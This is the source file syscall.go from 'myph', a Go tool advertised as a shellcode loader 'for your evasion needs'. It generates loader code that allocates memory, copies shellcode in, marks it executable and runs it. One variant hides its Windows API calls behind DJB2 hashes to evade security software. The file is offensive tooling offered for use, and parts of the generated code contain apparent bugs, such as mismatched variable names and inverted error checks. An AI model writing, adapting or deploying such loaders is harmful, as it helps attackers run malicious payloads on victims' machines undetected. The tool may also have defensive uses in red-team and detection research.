myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
syscall.go (3734B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type SysTemplate struct {
      9 	UseApiHashing bool
     10 	HashMethod    string
     11 }
     12 
     13 func (t SysTemplate) Import() string {
     14 	if t.UseApiHashing {
     15 		return fmt.Sprintf(`
     16 import (
     17 	"fmt"
     18 	"log"
     19 	"os"
     20 	"syscall"
     21 	"unsafe"
     22 
     23 	"github.com/Binject/debug/pe"
     24 	loader "github.com/cmepw/myph/internals"
     25 )
     26         `)
     27 
     28 	}
     29 
     30 	return fmt.Sprintf(`
     31 import (
     32 	"syscall"
     33 	"unsafe"
     34 )
     35 `)
     36 }
     37 
     38 func (t SysTemplate) Const() string {
     39 
     40 	if t.UseApiHashing {
     41 		return fmt.Sprintf(`
     42 const (
     43 	MEM_COMMIT = 0x1000
     44 	MEM_RESERVE = 0x2000
     45 	PAGE_EXECUTE_READ = 0x20
     46 	PAGE_READWRITE = 0x04
     47 )
     48 `)
     49 
     50 	}
     51 
     52 	return fmt.Sprintf(`
     53 const (
     54 	MEM_COMMIT = 0x1000
     55 	MEM_RESERVE = 0x2000
     56 	PAGE_EXECUTE_READ = 0x20
     57 	PAGE_READWRITE = 0x04
     58 )
     59 
     60 var (
     61     kernel32 = syscall.MustLoadDLL("kernel32.dll")
     62 	ntdll = syscall.MustLoadDLL("ntdll.dll")
     63 
     64 	VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
     65 	VirtualProtect = kernel32.MustFindProc("VirtualProtect")
     66 	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
     67 )
     68 
     69 `)
     70 }
     71 
     72 func (t SysTemplate) Init() string {
     73 	return fmt.Sprintf("\n")
     74 }
     75 
     76 func (t SysTemplate) Process() string {
     77 	if t.UseApiHashing {
     78 		return fmt.Sprintf(`
     79 
     80     ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
     81         fmt.Println(err.Error())
     82         os.Exit(1)
     83     }
     84     defer ntdll.Close()
     85 
     86 
     87     kernel32, err := pe.Open("C:\\Windows\\System32\\kernel32.dll"); if err != nil {
     88         fmt.Println(err.Error())
     89         os.Exit(1)
     90     }
     91     defer kernel32.Close()
     92 
     93 
     94     var addr uintptr
     95 	regionsize := uintptr(len(shellcode))
     96     VirtualAlloc, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", kernel32)
     97 	if err != nil {
     98 		log.Fatal(err)
     99 	}
    100 
    101     addr = loader.HashedCall(
    102         VirtualAlloc,
    103         0,
    104         regionSize,
    105         MEM_COMMIT|MEM_RESERVE,
    106         PAGE_READWRITE,
    107     )
    108 
    109     if addr == 0 {
    110         log.Fatal("Error: null return value")
    111     }
    112 
    113     RtlCopyMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7a4c2ed807c8fcf1", ntdll)
    114     if err != nil {
    115 		log.Fatal(err)
    116 	}
    117 
    118     rvalue := loader.HashedCall(
    119         RtlCopyMemory,
    120         addr,
    121         (uintptr)(unsafe.Pointer(&shellcode[0])),
    122         regionsize,
    123     ); if addr != 0 {
    124         log.Fatal("Error: invalid return value")
    125     }
    126 
    127     oldProtect := PAGE_READWRITE
    128     VirtualProtect, err := loader.LoadFunctionFromHash(loader.HashDJB2, "7126a1d34679917e", ntdll)
    129     if err != nil {
    130 		log.Fatal(err)
    131 	}
    132 
    133     rvalue := loader.HashedCall(
    134         VirtualProtect,
    135         addr,
    136         regionsize,
    137         PAGE_EXECUTE_READ,
    138         uintptr(unsafe.Pointer(&oldProtect)),
    139     ); if addr != 0 {
    140         log.Fatal("Error: invalid return value")
    141     }
    142 
    143     _, _, _ = syscall.SyscallN(addr)
    144 
    145         `)
    146 	}
    147 
    148 	return fmt.Sprintf(`
    149 	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
    150 	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    151 	oldProtect := PAGE_READWRITE
    152 	_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    153 	_, _, _ = syscall.SyscallN(addr)
    154 `)
    155 }
    156 
    157 func (t SysTemplate) GetTemplate(targetProcess string) string {
    158 	InformProcessUnused(targetProcess)
    159 
    160 	var template = `
    161 package main
    162 
    163 __IMPORT__STATEMENT__
    164 
    165 __CONST__STATEMENT__
    166 
    167 func ExecuteOrderSixtySix(shellcode []byte) {
    168 
    169 __IMPORT__INIT__
    170 
    171 __IMPORT__PROCESS__
    172 
    173 }
    174 `
    175 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
    176 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
    177 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
    178 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
    179 
    180 	return template
    181 }